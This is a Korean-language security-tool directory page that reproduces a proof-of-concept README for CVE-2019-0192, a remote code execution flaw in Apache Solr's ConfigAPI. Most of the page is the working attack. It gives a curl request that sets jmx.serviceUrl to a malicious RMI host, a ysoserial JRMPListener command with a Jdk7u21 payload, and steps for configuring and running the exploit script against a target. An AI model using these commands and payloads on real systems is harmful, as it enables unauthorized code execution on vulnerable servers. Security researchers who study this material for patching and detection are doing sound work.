Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-0192 — Apache Solr에서 jmx.serviceUrl를 통해 신뢰할 수 없는 데이터 역직렬화를 이용한 RCE | Kitploit
도구/GitHubGitHub/mpgn/cve-2019-0192
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubmpgn/cve-2019-0192

CVE-2019-0192

Apache Solr에서 jmx.serviceUrl를 통해 신뢰할 수 없는 데이터 역직렬화를 이용한 RCE

저장소 보기
20855117년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-0192 - Apache Solr RCE 5.0.0 ~ 5.5.5 및 6.0.0 ~ 6.6.5

이것은 Apache Solr RCE의 초기 PoC입니다.

From https://issues.apache.org/jira/browse/SOLR-13301:

ConfigAPI는 HTTP POST 요청을 통해 Solr의 JMX 서버를 구성할 수 있습니다. 이를 악성 RMI 서버로 지정하면 공격자는 Solr의 안전하지 않은 역직렬화를 이용하여 Solr 측에서 원격 코드 실행을 트리거할 수 있습니다.

개념 증명

image


보안 권고 설명을 살펴보고 ConfigAPI Apache Solr 리소스를 확인하면 JMX 서버에 대한 참조를 찾을 수 있습니다:

image

serviceUrl - (선택적 문자열) JMX 서버의 서비스 URL입니다. 지정하지 않으면 기본 플랫폼 MBean 서버가 사용됩니다.

ConfigAPI가 작동하는 방식을 확인하여 원격 JMX 서버를 설정하는 방법을 재현할 수 있습니다:

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

PoC에서는 Jdk7u21 페이로드를 사용하여 악성 RMI 서버를 생성하기 위해 yoserial을 사용하겠습니다.

  1. 악성 RMI 서버 시작:
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"
  1. POST 요청 실행:
curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

참고: 500 오류와 함께 스택 트레이스가 표시됩니다.

  1. 스택 트레이스 확인:
  • 이 오류가 표시된 경우: "Non-annotation type in annotation serial stream" 이는 Apache Solr가 JRE 7u25보다 높은 Java 버전으로 실행 중이며 이 PoC가 작동하지 않음을 의미합니다.

  • 그렇지 않으면 "undeclared checked exception; nested exception is" 오류가 표시되어야 하며 PoC가 작동해야 합니다.

Exploit

  1. yoserial 다운로드: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  2. 스크립트의 값 변경:
remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"
  1. 그런 다음 스크립트 실행:
python3 CVE-2019-0192.py

보안 권고:

  • http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

참고 자료:

  • https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
  • https://issues.apache.org/jira/browse/SOLR-13301
도구 다운로드